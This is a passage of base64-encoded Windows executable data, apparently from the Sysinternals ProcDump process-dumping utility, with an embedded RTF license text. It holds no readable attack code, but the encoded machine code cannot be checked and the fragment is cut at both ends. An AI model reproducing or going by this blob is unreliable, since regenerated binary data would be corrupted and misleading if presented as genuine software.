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SFhoeIiYqLjI2Oj5CRkpOUlZaXmJmam5ydnp+goaKjpKWmp6ipqqusra6vsLGys7S1tre4ubq7vL2+v8DBwsPExcbHyMnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+Tl5ufo6err7O3u7/Dx8vP09fb3+Pn6+/z9/v9BAAAAFwAAAFUAUwBFAFIAMwAyAC4ARABMAEwAAAAAAE1lc3NhZ2VCb3hXAEdldEFjdGl2ZVdpbmRvdwBHZXRMYXN0QWN0aXZlUG9wdXAAAEdldFVzZXJPYmplY3RJbmZvcm1hdGlvblcAAABHZXRQcm9jZXNzV2luZG93U3RhdGlvbgBDcmVhdGVGaWxlMgBDAE8ATgBPAFUAVAAkAAAAMSNTTkFOAAAxI0lORAAAADEjSU5GAAAAMSNRTkFOAAAo3Ab++0k2RqSj6A20rhFsqYvvfPcuv0KXP0FxR0+H2WBfbz04ddMRjVsAEEs15+/8oE4mkSWqSYaOg15lFTI/6l4OJVzbdky284xG8S4yAwnpY1K1jNMRvS8AAPgISb1hX289OHXTEY1bABBLNefvg4Ptw0la9Uy0twGGTZ5YLeK469W+ex1MmKajwEy972Quz8zshrI+S6mDhgqHk9EFYl9vPTh10xGNWwAQSzXn72Nfbz04ddMRjVsAEEs15+/VgW4J2uwCQoP1xlmAqe91Act7zGiK0hGYPAAA+Ag0LULSZGEVENZLjL7Q29S4J1oWarmMiLXiQrcc3YSfwuzMfFBZ33rUnkW84mQn6sj9Bp4fbULUbchErscmzbr045i42td2RNDfEZoVfinf1yCFjg/6okXQ3xGsjs4q39cghdMkPH8dfkVCrDr3L4hZyAxkX289OHXTEY1bABBLNefviDUbrfAOREeklqoJqfgDcYhk4C7UwLFCsm3zeV72BvvA2ekhuPzfEYz/CAAgDJpm6Mp7zGiK0hGYPAAA+Ag0LenKe8xoitIRmDwAAPgINC3qynvMaIrSEZg8AAD4CDQt68p7zGiK0hGYPAAA+Ag0LezKe8xoitIRmDwAAPgINC3D6bbF0eeOSoc7fwR/Bwb3C8t7zGiK0hGYPAAA+Ag0LT+6x226iVlEnsGdYJN7Ro1mbYyTtn9pT7OJQluJhzKb2VbZKwd770uKmBKqhiQXxcNOVPhOXsdGjT6lK4QFsfVLIB8aZhw3RoI/PubHRKac6X1koN5VFkiSnDhSccZM9+7Ke8xoitIRmDwAAPgINC3vynvMaIrSEZg8AAD4CDQt98csuS2dxEW8K2IfzJ379NxbgcCrz35Ep3nBFrRU61sRY+IDdk/TEYjGAGCXlFQYlKmIXTBsm0eJD7zviLEppRRj4gN2T9MRiMYAYJeUVBjxnzg1hDZVTKLuIQ8mxg5evxLwhhX/ckO9MLbxHKrh3QqsnIdTSmhGuOPLhHPLGH/B2KLbxeVpQIwTEKfGq/Q9tV/Mf8BJ3kGZODuItbmt1/PKe8xoitIRmDwAAPgINC0LSQzvw5RNTrYp3cE0xTLY9Mp7zGiK0hGYPAAA+Ag0LQllaV8vRTZEo/5NEf5+I0f1ynvMaIrSEZg8AAD4CDQtjeoIsLF690O7IPu1oEA4rvbKe8xoitIRmDwAAPgINC3nnA37Zr6DRp0ypCoE4v2R98p7zGiK0hGYPAAA+Ag0LedUC16K2CZGlCCmkeCni0n8BVBWig8+T57bgxArFWWV+Mp7zGiK0hGYPAAA+Ag0LfnKe8xoitIRmDwAAPgINC36ynvMaIrSEZg8AAD4CDQtbE2s47ec5kOWzLIVQOUIPNjKmqZ0I+lGn/ix8UEg0pZuPa0Y0rfSEb0EAAD4CEm9IKPkSZtKyk6xBSKft9UAn/zKe8xoitIRmDwAAPgINC39ynvMaIrSEZg8AAD4CDQt37AFBGCm0hG9AgAA+AhJveiWlQJrJ6FGmCFzLpa7sAsAy3vMaIrSEZg8AAD4CDQt5cVpXxI+30KzcfnXYdbuJALLe8xoitIRmDwAAPgINC0Dy3vMaIrSEZg8AAD4CDQtBMt7zGiK0hGYPAAA+Ag0LQXLe8xoitIRmDwAAPgINC0Gy3vMaIrSEZg8AAD4CDQtB8t7zGiK0hGYPAAA+Ag0LQjLe8xoitIRmDwAAPgINC0Jy3vMaIrSEZg8AAD4CDQtCst7zGiK0hGYPAAA+Ag0LWFk6VVFluRFov8DZ4d6vN6ZdPIQ8p3OQ4MzoyHXyZy0u/AT1uGsGUy9cuTAjV2n9QmI4fC1ctIRl28AoMm01QwkG8pjWUODSL1XE/gV9YdEyR4qSuyF+0ufFaif3+D+g3hiapdKE4FKgaOPJ3lD9MMvb3LMtx2bRbDsBfAdhBtCQQ1gjfb0s0y37HvRZJRANgH6w23L19IRipUAgMeS5dgwVXftxE33QYbQni3vffxmXaZMrt1ZokKDpVfooI2HGSA20VMX9NERl2KmOCak8lXQRO9v5zl3TL6OyfjPmIYwVBIfIX689Uq5qgZzCNg90WdlbmVyaWMAdW5rbm93biBlcnJvcgAAAGlvc3RyZWFtAAAAAGlvc3RyZWFtIHN0cmVhbSBlcnJvcgAAAHN5c3RlbQAAUAByAG8AYwBkAHUAbQBwAC0AJQB1AAAAc3RyaW5nIHRvbyBsb25nAGludmFsaWQgc3RyaW5nIHBvc2l0aW9uAAAAAAB7XHJ0ZjFcYW5zaVxhbnNpY3BnMTI1MlxkZWZmMFxub3VpY29tcGF0XGRlZmxhbmcxMDMze1xmb250dGJse1xmMFxmc3dpc3NcZnBycTJcZmNoYXJzZXQwIFRhaG9tYTt9e1xmMVxmbmlsXGZjaGFyc2V0MCBDYWxpYnJpO319AHtcY29sb3J0YmwgO1xyZWQwXGdyZWVuMFxibHVlMjU1O1xyZWQwXGdyZWVuMFxibHVlMDt9AAAAe1wqXGdlbmVyYXRvciBSaWNoZWQyMCAxMC4wLjEwMjQwfVx2aWV3a2luZDRcdWMxIAAAAAAAAABccGFyZFxicmRyYlxicmRyc1xicmRydzEwXGJyc3AyMCBcc2IxMjBcc2ExMjBcYlxmMFxmczI0IFNZU0lOVEVSTkFMUyBTT0ZUV0FSRSBMSUNFTlNFIFRFUk1TXGZzMjhccGFyAAAAAFxwYXJkXHNiMTIwXHNhMTIwXGIwXGZzMTkgVGhlc2UgbGljZW5zZSB0ZXJtcyBhcmUgYW4gYWdyZWVtZW50IGJldHdlZW4gU3lzaW50ZXJuYWxzIChhIHdob2xseSBvd25lZCBzdWJzaWRpYXJ5IG9mIE1pY3Jvc29mdCBDb3Jwb3JhdGlvbikgYW5kIHlvdS4gIFBsZWFzZSByZWFkIHRoZW0uICBUaGV5IGFwcGx5IHRvIHRoZSBzb2Z0d2FyZSB5b3UgYXJlIGRvd25sb2FkaW5nIGZyb20gU3lzdGludGVybmFscy5jb20sIHdoaWNoIGluY2x1ZGVzIHRoZSBtZWRpYSBvbiB3aGljaCB5b3UgcmVjZWl2ZWQgaXQsIGlmIGFueS4gIFRoZSB0ZXJtcyBhbHNvIGFwcGx5IHRvIGFueSBTeXNpbnRlcm5hbHNccGFyAAAAXHBhcmRcZmktMzYzXGxpNzIwXHNiMTIwXHNhMTIwXHR4NzIwXCdiN1x0YWIgdXBkYXRlcyxccGFyAAAAXHBhcmRcZmktMzYzXGxpNzIwXHNiMTIwXHNhMTIwXCdiN1x0YWIgc3VwcGxlbWVudHMsXHBhcgBcJ2I3XHRhYiBJbnRlcm5ldC1iYXNlZCBzZXJ2aWNlcywgYW5kIFxwYXIAAFwnYjdcdGFiIHN1cHBvcnQgc2VydmljZXNccGFyAAAAXHBhcmRcc2IxMjBcc2ExMjAgZm9yIHRoaXMgc29mdHdhcmUsIHVubGVzcyBvdGhlciB0ZXJtcyBhY2NvbXBhbnkgdGhvc2UgaXRlbXMuICBJZiBzbywgdGhvc2UgdGVybXMgYXBwbHkuXHBhcgAAAFxiIEJZIFVTSU5HIFRIRSBTT0ZUV0FSRSwgWU9VIEFDQ0VQVCBUSEVTRSBURVJNUy4gIElGIFlPVSBETyBOT1QgQUNDRVBUIFRIRU0sIERPIE5PVCBVU0UgVEhFIFNPRlRXQVJFLlxwYXIAAAAAAABccGFyZFxicmRydFxicmRyc1xicmRydzEwXGJyc3AyMCBcc2IxMjBcc2ExMjAgSWYgeW91IGNvbXBseSB3aXRoIHRoZXNlIGxpY2Vuc2UgdGVybXMsIHlvdSBoYXZlIHRoZSByaWdodHMgYmVsb3cuXHBhcgAAAABccGFyZFxmaS0zNTdcbGkzNTdcc2IxMjBcc2ExMjBcdHgzNjBcZnMyMCAxLlx0YWJcZnMxOSBJTlNUQUxMQVRJT04gQU5EIFVTRSBSSUdIVFMuICBcYjAgWW91IG1heSBpbnN0YWxsIGFuZCB1c2UgYW55IG51bWJlciBvZiBjb3BpZXMgb2YgdGhlIHNvZnR3YXJlIG9uIHlvdXIgZGV2aWNlcy5cYlxwYXIAAAAAAFxjYXBzXGZzMjAgMi5cdGFiXGZzMTkgU2NvcGUgb2YgTGljZW5zZVxjYXBzMCAuXGIwICAgVGhlIHNvZnR3YXJlIGlzIGxpY2Vuc2VkLCBub3Qgc29sZC4gVGhpcyBhZ3JlZW1lbnQgb25seSBnaXZlcyB5b3Ugc29tZSByaWdodHMgdG8gdXNlIHRoZSBzb2Z0d2FyZS4gIFN5c2ludGVybmFscyByZXNlcnZlcyBhbGwgb3RoZXIgcmlnaHRzLiAgVW5sZXNzIGFwcGxpY2FibGUgbGF3IGdpdmVzIHlvdSBtb3JlIHJpZ2h0cyBkZXNwaXRlIHRoaXMgbGltaXRhdGlvbiwgeW91IG1heSB1c2UgdGhlIHNvZnR3YXJlIG9ubHkgYXMgZXhwcmVzc2x5IHBlcm1pdHRlZCBpbiB0aGlzIGFncmVlbWVudC4gIEluIGRvaW5nIHNvLCB5b3UgbXVzdCBjb21wbHkgd2l0aCBhbnkgdGVjaG5pY2FsIGxpbWl0YXRpb25zIGluIHRoZSBzb2Z0d2FyZSB0aGF0IG9ubHkgYWxsb3cgeW91IHRvIHVzZSBpdCBpbiBjZXJ0YWluIHdheXMuICAgIFlvdSBtYXkgbm90XGJccGFyAFxwYXJkXGZpLTM2M1xsaTcyMFxzYjEyMFxzYTEyMFx0eDcyMFxiMFwnYjdcdGFiIHdvcmsgYXJvdW5kIGFueSB0ZWNobmljYWwgbGltaXRhdGlvbnMgaW4gdGhlIGJpbmFyeSB2ZXJzaW9ucyBvZiB0aGUgc29mdHdhcmU7XHBhcgAAAAAAAABccGFyZFxmaS0zNjNcbGk3MjBcc2IxMjBcc2ExMjBcJ2I3XHRhYiByZXZlcnNlIGVuZ2luZWVyLCBkZWNvbXBpbGUgb3IgZGlzYXNzZW1ibGUgdGhlIGJpbmFyeSB2ZXJzaW9ucyBvZiB0aGUgc29mdHdhcmUsIGV4Y2VwdCBhbmQgb25seSB0byB0aGUgZXh0ZW50IHRoYXQgYXBwbGljYWJsZSBsYXcgZXhwcmVzc2x5IHBlcm1pdHMsIGRlc3BpdGUgdGhpcyBsaW1pdGF0aW9uO1xwYXIAAAAAAAAAAFwnYjdcdGFiIG1ha2UgbW9yZSBjb3BpZXMgb2YgdGhlIHNvZnR3YXJlIHRoYW4gc3BlY2lmaWVkIGluIHRoaXMgYWdyZWVtZW50IG9yIGFsbG93ZWQgYnkgYXBwbGljYWJsZSBsYXcsIGRlc3BpdGUgdGhpcyBsaW1pdGF0aW9uO1xwYXIAAABcJ2I3XHRhYiBwdWJsaXNoIHRoZSBzb2Z0d2FyZSBmb3Igb3RoZXJzIHRvIGNvcHk7XHBhcgAAAFwnYjdcdGFiIHJlbnQsIGxlYXNlIG9yIGxlbmQgdGhlIHNvZnR3YXJlO1xwYXIAAFwnYjdcdGFiIHRyYW5zZmVyIHRoZSBzb2Z0d2FyZSBvciB0aGlzIGFncmVlbWVudCB0byBhbnkgdGhpcmQgcGFydHk7IG9yXHBhcgAAAAAAXCdiN1x0YWIgdXNlIHRoZSBzb2Z0d2FyZSBmb3IgY29tbWVyY2lhbCBzb2Z0d2FyZSBob3N0aW5nIHNlcnZpY2VzLlxwYXIAXHBhcmRcZmktMzU3XGxpMzU3XHNiMTIwXHNhMTIwXHR4MzYwXGJcZnMyMCAzLlx0YWIgU0VOU0lUSVZFIElORk9STUFUSU9OLiBcYjAgIFBsZWFzZSBiZSBhd2FyZSB0aGF0LCBzaW1pbGFyIHRvIG90aGVyIGRlYnVnIHRvb2xzIHRoYXQgY2FwdHVyZSBcbGRibHF1b3RlIHByb2Nlc3Mgc3RhdGVcc